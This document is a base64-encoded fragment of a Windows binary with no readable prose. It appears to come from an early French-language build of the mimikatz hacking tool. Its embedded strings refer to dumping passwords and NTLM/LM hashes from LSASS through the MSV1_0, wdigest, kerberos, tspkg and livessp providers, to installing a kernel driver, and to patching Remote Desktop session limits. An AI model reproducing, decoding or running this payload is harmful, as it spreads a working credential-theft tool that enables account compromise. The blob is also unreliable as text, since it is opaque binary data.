BMAFMAQQAgADoAIAAAAFxTZWxlY3QARGVmYXVsdABTAEEATQBcAFMAQQBNAFwARABvAG0AYQBpAG4AcwBcAEEAYwBjAG8AdQBuAHQAAABGAAAAVQBzAGUAcgBzAAAATgBhAG0AZQBzAAAAVgAAAFIAZQBnAEUAbgB1AG0ASwBlAHkARQB4AFcAIAA6ACAAAAAAAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAVQBzAGUAcgBzACAAOgAgAAAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAARgAgADoAIAAAAAAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAxACAARgAgADoAIAAAAAAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIABTAEEATQAgADoAIAAAAE4AVABMAE0AIAA6ACAAAABMAE0AIAAgACAAOgAgAAAAVQBzAGUAcgAgADoAIAAAAFIAaQBkACAAIAA6ACAAAAB4uQQQZSoAEDC5BBDvtwEQjyAAEJcgABD4rwEQ+K8BEP6vARADsAEQB7ABECywARABsQEQ2LEBEKEiABDHIgAQ4mUCEMwiABDAuAQQtrcBEGy4BBB9twEQ6LcEEEK4ARCctwQQdrgBEI8gABCXIAAQk7IBEC20ARD+rwEQeLQBEAewARAssAEQAbEBENW0ARBstgEQxyIAEOJlAhDMIgAQMLcEEA64ARAAAAAAUAAAAOC2BBDtmgEQLJoBEBWaARBvmgEQWJoBEKWaARCbmgEQzpoBEMSaARCUtgQQHMIBELzBARAhwAEQcL4BEPS9ARB4vQEQ/7wBEIa8ARD2ugEQSLYEENLJARCgyQEQpMkBEItCABCoyQEQvckBEFIAZQB2AGUAcgB0AFQAbwBTAGUAbABmAAAAAAByAGUAdgBlAHIAdAAAAAAAUgBlAHYAZQByAHQAVABvAFMAZQBsAGYAIAA6ACAAAABvAGsAAAAAAGsAbwAgADsAIAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAdQAgAHAAcgBvAHYAaQBkAGUAcgAgAE0AUwBWADEAXwAwAAAAbQBzAHYAAAAAAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABXAEQAaQBnAGUAcwB0AAAAAAB3AGQAaQBnAGUAcwB0AAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABLAGUAcgBiAGUAcgBvAHMAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAADpAG4AdQBtAOgAcgBlACAAbABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABjAG8AdQByAGEAbgB0AGUAcwAgAGQAdQAgAHAAcgBvAHYAaQBkAGUAcgAgAFQAcwBQAGsAZwAAAAAAdABzAHAAawBnAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABMAGkAdgBlAFMAUwBQAAAAAABsAGkAdgBlAHMAcwBwAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAHUAIABwAHIAbwB2AGkAZABlAHIAIABTAFMAUAAgACgAbQBzAHYAMQBfADAAKQAAAHMAcwBwAAAA6QBuAHUAbQDoAHIAZQAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAIABkAGUAcwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAZABpAHMAcABvAG4AaQBiAGwAZQBzAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAAAAAAByAGUAYwBoAGUAcgBlACAAZABpAHIAZQBjAHQAZQBtAGUAbgB0ACAAZABhAG4AcwAgAGwAZQBzACAAcwBlAGcAbQBlAG4AdABzACAAbQDpAG0AbwBpAHIAZQAgAGQAZQAgAEwAUwBBAFMAUwAgAGQAZQBzACAAbQBvAHQAcwAgAGQAZQAgAHAAYQBzAHMAZQBzAAAAcwBlAGEAcgBjAGgAUABhAHMAcwB3AG8AcgBkAHMAAABEAG8AbgBuAOkAZQBzACAATABTAEEAUwBTACAAZQBuACAAZQByAHIAZQB1AHIAAABsAHMAYQBzAHIAdgAAAAAAbQBzAHYAMQBfADAAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHQAcwBwAGsAZwAuAGQAbABsAAAAdwBkAGkAZwBlAHMAdAAuAGQAbABsAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAG0AcwB2ADEAXwAwAC4AZABsAGwAAAAAAGwAaQB2AGUAcwBzAHAALgBkAGwAbAAAAGwAcwBhAHMAcwAuAGUAeABlAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBzAEwAaQBzAHQARgBvAHIAUAByAG8AYwBlAHMAcwAgADoAIAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAEYAbwByAE4AYQBtAGUAIAA6ACAAAAAAAExzYUlSZWdpc3Rlck5vdGlmaWNhdGlvbgAAAABMc2FJQ2FuY2VsTm90aWZpY2F0aW9uAAAgAH0AAAAAAF0AIAB7ACAAAAAAAAkAIABbAAAACQAgACoAIABNAG8AdAAgAGQAZQAgAHAAYQBzAHMAZQAgADoAIAAAAAkAIAAqACAARABvAG0AYQBpAG4AZQAgACAAIAAgACAAIAA6ACAAAAAJACAAKgAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACAAIAAgACAAIAAgAE0AbwB0ACAAZABlACAAcABhAHMAcwBlACAAOgAgAAAACQAgACAAIAAgACAAIAAgAEQAbwBtAGEAaQBuAGUAIAAgACAAIAAgACAAOgAgAAAAXQAgAFUAdABpAGwAaQBzAGEAdABlAHUAcgAgACAAOgAgAAAACQAgACoAIABbAAAAbgAuAHQALgAgACgATABVAEkARAAgAEsATwApAAAAAABEAG8AbQBhAGkAbgBlACAAZAAnAGEAdQB0AGgAZQBuAHQAaQBmAGkAYwBhAHQAaQBvAG4AIAAgADoAIAAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAcAByAGkAbgBjAGkAcABhAGwAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAYQBjAGsAYQBnAGUAIABkACcAYQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgACAAOgAgAAAAAAA7AAAAQQB1AHQAaABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAgAEkAZAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAGQAZQAgAHMAZQBzAHMAaQBvAG4AAAAAAAAAAABFAHIAcgBlAHUAcgAgADoAIABJAG0AcABvAHMAcwBpAGIAbABlACAAZAAnAOkAbgB1AG0AZQByAGUAcgAgAGwAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAYwBvAHUAcgBhAG4AdABlAHMAAABMAGkAcwB0AGUAIABsAGUAcwAgAHMAZQByAHYAaQBjAGUAcwAgAGUAdAAgAHAAaQBsAG8AdABlAHMAAABEAOkAbQBhAHIAcgBlACAAdQBuACAAcwBlAHIAdgBpAGMAZQAgAG8AdQAgAHAAaQBsAG8AdABlAAAAAABBAHIAcgDqAHQAZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAFMAdQBwAHAAcgBpAG0AZQAgAHUAbgAgAHMAZQByAHYAaQBjAGUAIABvAHUAIABwAGkAbABvAHQAZQAAAEkAbgBzAHQAYQBsAGwAZQAgAGUAdAAvAG8AdQAgAGQA6QBtAGEAcgByAGUAIABsAGUAIABwAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAAAEQA6QBtAGEAcgByAGEAZwBlACAAZABlACAAJwAAAAAAQQByAHIA6gB0ACAAZABlACAAJwAAAAAAUwB1AHAAcAByAGUAcwBzAGkAbwBuACAAZABlACAAJwAAAAAAKABuAHUAbABsACkAJwAgAC0AIABLAE8AIAA7ACAATgBvAG0AIABkAGUAIABzAGUAcgB2AGkAYwBlACAAbQBhAG4AcQB1AGEAbgB0AAAAAABJAE4AVABFAFIAQQBDAFQASQBWAEUAXwBQAFIATwBDAEUAUwBTAAAARgBJAEwARQBfAFMAWQBTAFQARQBNAF8ARABSAEkAVgBFAFIAAAAAAEsARQBSAE4ARQBMAF8ARABSAEkAVgBFAFIAAABXAEkATgAzADIAXwBPAFcATgBfAFAAUgBPAEMARQBTAFMAAABXAEkATgAzADIAXwBTAEgAQQBSAEUAXwBQAFIATwBDAEUAUwBTAAAAQwBPAE4AVABJAE4AVQBFAF8AUABFAE4ARABJAE4ARwAAAAAAUABBAFUAUwBFAF8AUABFAE4ARABJAE4ARwAAAFAAQQBVAFMARQBEAAAAAABSAFUATgBOAEkATgBHAAAAUwBUAEEAUgBUAF8AUABFAE4ARABJAE4ARwAAAFMAVABPAFAAXwBQAEUATgBEAEkATgBHAAAAAABTAFQATwBQAFAARQBEAAAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAWwAqAF0AIABQAGkAbABvAHQAZQAgAG0AaQBtAGkAawBhAHQAegAgAG4AbwBuACAAcAByAOkAcwBlAG4AdAAsACAAaQBuAHMAdABhAGwAbABhAHQAaQBvAG4ALgAAAAAAbQBpAG0AaQBrAGEAdAB6AC4AcwB5AHMAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByAAAAWwArAF0AIABDAHIA6QBhAHQAaQBvAG4AIABkAHUAIABwAGkAbABvAHQAZQAgADoAIABPAEsAAAAAAAAAWwArAF0AIABBAHQAdAByAGkAYgB1AHQAaQBvAG4AIABkAGUAcwAgAGQAcgBvAGkAdABzACAAOgAgAE8ASwAAAFsALQBdACAAQQB0AHQAcgBpAGIAdQB0AGkAbwBuACAAZABlAHMAIABkAHIAbwBpAHQAcwAgADoAIABLAE8AIAA7ACAAAAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAGwAZQAgAHAAaQBsAG8AdABlACAAOwAgAAAAAAAAAAAAWwAhAF0AIABMAGUAIABwAGkAbABvAHQAZQAgAG4AZQAgAHMAZQBtAGIAbABlACAAcABhAHMAIABlAHgAaQBzAHQAZQByACAAOwAgAAAAAABbACEAXQAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkACcAbwBiAHQAZQBuAGkAcgAgAGwAZQAgAGMAaABlAG0AaQBuACAAYQBiAHMAbwBsAHUAIABkAHUAIABwAGkAbABvAHQAZQAgADsAIAAAAAAAWwAhAF0AIABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAbQBpAG0AaQBrAGEAdAB6ACAAOgAgAEsATwAgADsAIAAAAAAAAAAAAFsAKgBdACAAUABpAGwAbwB0AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAOkAagDgACAAcAByAOkAcwBlAG4AdAAAAAAAWwArAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAE8ASwAAAAAAWwAtAF0AIABEAOkAbQBhAHIAcgBhAGcAZQAgAGQAdQAgAHAAaQBsAG8AdABlACAAOgAgAEsATwAgADsAIAAAAFsAIQBdACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBvAHUAdgByAGkAcgAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAcwBlAHIAdgBpAGMAZQAgAHAAbwB1AHIAIABjAHIA6QBhAHQAaQBvAG4AIAA7ACAAAABFAGYAZgBhAGMAZQAgAGwAJwDpAGMAcgBhAG4AIAAoAG4AZQAgAGYAbwBuAGMAdABpAG8AbgBuAGUAIABwAGEAcwAgAGUAbgAgAOkAeABlAGMAdQB0AGkAbwBuACAAZABpAHMAdABhAG4AdABlACwAIAB2AGkAYQAgAFAAcwBFAHgAZQBjACAAcABhAHIAIABlAHgAZQBtAHAAbABlACkAAAAAAGMAbABzAAAAUQB1AGkAdAB0AGUAIABNAGkAbQBpAEsAYQB0AHoAAAAAAAAAQwBhAGwAYwB1AGwAZQAgAGwAYQAgAHIA6QBwAG8AbgBzAGUAIADgACAAbABhACAARwByAGEAbgBkAGUAIABRAHUAZQBzAHQAaQBvAG4AIABzAHUAcgAgAGwAYQAgAFYAaQBlACwAIABsACcAVQBuAGkAdgBlAHIAcwAgAGUAdAAgAGwAZQAgAFIAZQBzAHQAZQAAAHIAZQBwAG8AbgBzAGUAAABUAHIAbwB1AHYAZQAgAHUAbgBlACAAYwBpAHQAYQB0AGkAbwBuAAAAYwBpAHQAZQAAAAAAUgBlAHQAbwB1AHIAbgBlACAAbABhACAAdgBlAHIAcwBpAG8AbgAgAGQAZQAgAG0AaQBtAGkAawBhAHQAegAAAHYAZQByAHMAaQBvAG4AAABNAGUAdABzACAAZQBuACAAcABhAHUAcwBlACAAbQBpAG0AaQBrAGEAdAB6ACAAdQBuACAAYwBlAHIAdABhAGkAbgBzACAAbgBvAG0AYgByAGUAIABkAGUAIABtAGkAbABsAGkAcwBlAGMAbwBuAGQAZQBzAAAAAABzAGwAZQBlAHAAAAAwODo1MjoyMQAAAABMAGEAIAByAOkAcABvAG4AcwBlACAAZQBzAHQAIAA0ADIALgAAAAAASQAgAGUAZABpAHQAIAB0AGgAZQAgAHcAbwByAGwAZAAgAGkAbgAgAEgARQBYAAAAIABtAHMALgAuAC4AIAAAAFMAbABlAGUAcAAgADoAIAAAAAAARgBpAG4AIAAhAAAAQQBmAGYAaQBjAGgAZQAgAGwAJwB1AHQAaQBsAGkAcwBhAHQAZQB1AHIAIABjAG8AdQByAGEAbgB0AAAAAAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAIABuAG8AbQAgAGQAJwBvAHIAZABpAG4AYQB0AGUAdQByACAAYwBvAHUAcgBhAG4AdAAAAGMAbwBtAHAAdQB0AGUAcgAAAAAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAAABtAG8AZABfAHMAeQBzAHQAZQBtADoAOgBnAGUAdABVAHMAZQByAE4AYQBtAGUAIAA6ACAAAAAAAG0AbwBkAF8AcwB5AHMAdABlAG0AOgA6AGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAAOgAgAAAAAABzAGUAcwBzAGkAbwBuAHMAAAAAAHAAcgBvAGMAZQBzAHMAZQBzAAAAAAAAAFAAYQB0AGMAaAAgAGwAZQAgAGIAdQByAGUAYQB1ACAA4AAgAGQAaQBzAHQAYQBuAGMAZQAgAHAAbwB1AHIAIABkAOkAcABhAHMAcwBlAHIAIAAyACAAYwBvAG4AbgBlAHgAaQBvAG4AcwAgAHMAaQBtAHUAbAB0AGEAbgDpAGUAcwAAAG0AdQBsAHQAaQByAGQAcAAAAAAAQQBmAGYAaQBjAGgAZQAgAGwAJwDpAHQAYQB0ACAAZABlACAAbABhACAAcAByAGkAcwBlACAAZABlACAAYwBvAG4AdAByAPQAbABlACAAZABlAHMAIABzAGUAcwBzAGkAbwBuAHMAIABSAEQAUAAAAHYAaQBlAHcAcwBoAGEAZABvAHcAAAAAAE0AbwBkAGkAZgBpAGUAIABsACcA6QB0AGEAdAAgAGQAZQAgAGwAYQAgAHAAcgBpAHMAZQAgAGQAZQAgAGMAbwBuAHQAcgD0AGwAZQAgAGQAZQBzACAAcwBlAHMAcwBpAG8AbgBzACAAUgBEAFAAIAAoAEQASQBTAEEAQgBMAEUALAAgAEkATgBUAEUAUgBBAEMAVAAsACAASQBOAFQARQBSAEEAQwBUAF8ATgBPAEEAUwBLACwAIABWAEkARQBXACwAIABWAEkARQBXAF8ATgBPAEEAUwBLACkAAABtAG8AZABpAGYAeQBzAGgAYQBkAG8AdwAAAAAAUwBlAHMAcwBJAGQACQBFAHQAYQB0AAkAcwB0AHIARQB0AGEAdAAAAG0AbwBkAF8AdABzADoAOgBnAGUAdABTAGUAcwBzAGkAbwBuAHMAIAA6ACAAAAAAAFAASQBEAAkAUwBlAHMAcwBJAGQACQBVAHQAaQBsAGkAcwBhAHQAZQB1AHIAAAAAAEQASQBTAEEAQgBMAEUAAABJAE4AVABFAFIAQQBDAFQAAAAAAEkATgBUAEUAUgBBAEMAVABfAE4ATwBBAFMASwAAAAAAVgBJAEUAVwAAAAAAVgBJAEUAVwBfAE4ATwBBAFMASwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABwAGEAcgBzAGkAbgBnACAAZABlACAAbAAnAGEAcgBnAHUAbQBlAG4AdAAgADoAIAAAAAAAVABlAHIAbQBTAGUAcgB2AGkAYwBlAAAAdABlAHIAbQBzAHIAdgAuAGQAbABsAAAAQABXAGkAbgBzAHQAYQB0AGkAbwBuACAAOgAgAAAAAAAgADwALQA+ACAAAAAJAAAACQBpAGQAIAAgACAAIAAgADoAIAAAAAAACQBuAGEAbQBlACAAIAAgADoAIAAAAAAACQBzAG4AYQBtAGUAIAAgADoAIAAAAAAACQB0AHkAcABlACAAIAAgADoAIAAAAAAACQBzAGgAYQBkAG8AdwAgADoAIAAAAAAACQAgACAAIAAgACAAIAA9AD4AIAAAAAAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAcgBlAGEAZABNAGUAbQBvAHIAeQAgAAAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AFUAbgBpAHEAdQBlAFMAZQByAHYAaQBjAGUARgBvAHIATgBhAG0AZQAgADoAIAAAAEkATgBUAEUAUgBBAEMAVAAgACgAYwBvAG4AZgBpAHIAbQBhAHQAaQBvAG4AKQAAAFYASQBFAFcAIAAoAGMAbwBuAGYAaQByAG0AYQB0AGkAbwBuACkAAABBAGMAdABpAHYAZQAAAAAAQwBvAG4AbgBlAGMAdABlAGQAAABDAG8AbgBuAGUAYwB0AFEAdQBlAHIAeQAAAAAAUwBoAGEAZABvAHcAAAAAAEQAaQBzAGMAbwBuAG4AZQBjAHQAZQBkAAAAAABJAGQAbABlAAAAAABMAGkAcwB0AGUAbgAAAAAAUgBlAHMAZQB0AAAARABvAHcAbgAAAAAASQBuAGkAdAAAAAAATABpAHMAdABlACAAbABlAHMAIAB0AGgAcgBlAGEAZABzAAAAUwB1AHMAcABlAG4AZAAgAHUAbgAgAHQAaAByAGUAYQBkACAAYQBjAHQAaQBmAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHQAaAByAGUAYQBkACAAcwB1AHMAcABlAG4AZAB1AAAAAABBAHIAcgDqAHQAZQAgAHUAbgAgAHQAaAByAGUAYQBkAAAAAAAAAAAARQBuAHYAbwBpACAAdQBuACAAbQBlAHMAcwBhAGcAZQAgAGQAZQAgAGYAZQByAG0AZQB0AHUAcgBlACAA4AAgAHUAbgAgAHQAaAByAGUAYQBkAAAAcQB1AGkAdAAAAAAAUABJAEQACQBUAEkARAAJAHAAcgBUAGgAAAAAAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AGcAZQB0AEwAaQBzAHQAIAA7ACAAAAAAAAkAcgBlAHAAcgBpAHMAZQAgAAAAdABoAHIAZQBhAGQAIAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgByAGUAcwB1AG0AZQAgADsAIAAAAAAAJwAgAGkAbgB2AGEAbABpAGQAZQAAAAAAYQByAGcAdQBtAGUAbgB0ACAAJwAAAAAACQBzAHUAcwBwAGUAbgBzAGkAbwBuACAAAAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgBzAHUAcwBwAGUAbgBkACAAOwAgAAAACQBhAHIAcgDqAHQAIAAAAEsATwAgAC0AIABtAG8AZABfAHQAaAByAGUAYQBkADoAOgBzAHQAbwBwACAAOwAgAAAAAAAJAG0AZQBzAHMAYQBnAGUAIABmAGUAcgBtAGUAdAB1AHIAZQAgAAAASwBPACAALQAgAG0AbwBkAF8AdABoAHIAZQBhAGQAOgA6AHEAdQBpAHQAIAA7ACAAAAAAAAAAAABNAGUAdAAgAGUAbgAgAHAAYQB1AHMAZQAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAAAAcABhAHUAcwBlAAAAUgBlAHAAcgBlAG4AZAAgAGwAZQAgAGMAaAByAG8AbgBvAG0A6AB0AHIAZQAgAGQAdQAgAGQA6QBtAGkAbgBlAHUAcgAgAGUAbgAgAGMAbwB1AHIAcwAAAHIAZQBwAHIAaQBzAGUAAABEAOkAbQBhAHIAcgBlACAAdQBuAGUAIABuAG8AdQB2AGUAbABsAGUAIABwAGEAcgB0AGkAZQAAAFQAcgBpAGMAaABlACAAYQB1ACAAZADpAG0AaQBuAGUAdQByAAAAAABjAGgAZQBhAHQAAABQAGEAdABjAGgA6QAgADsAKQAAAHcAaQBuAG0AaQBuAGUALgBlAHgAZQAAAG4ALgBhAC4AIAAoAGsAZQByAGIAZQByAG8AcwAgAEsATwApAAAAAABuAC4AcwAuACAAKABTAHUAcABwAEMAcgBlAGQAIABLAE8AKQAgAC8AIAAAAG4ALgBhAC4AIAAoAGwAaQB2AGUAcwBzAHAAIABLAE8AKQAAAG4ALgBlAC4AIAAoAEwAZQBjAHQAdQByAGUAIABLAEkAVwBJAF8ATQBTAFYAMQBfADAAXwBQAFIASQBNAEEAUgBZAF8AQwBSAEUARABFAE4AVABJAEEATABTACAASwBPACkAAABuAC4Acw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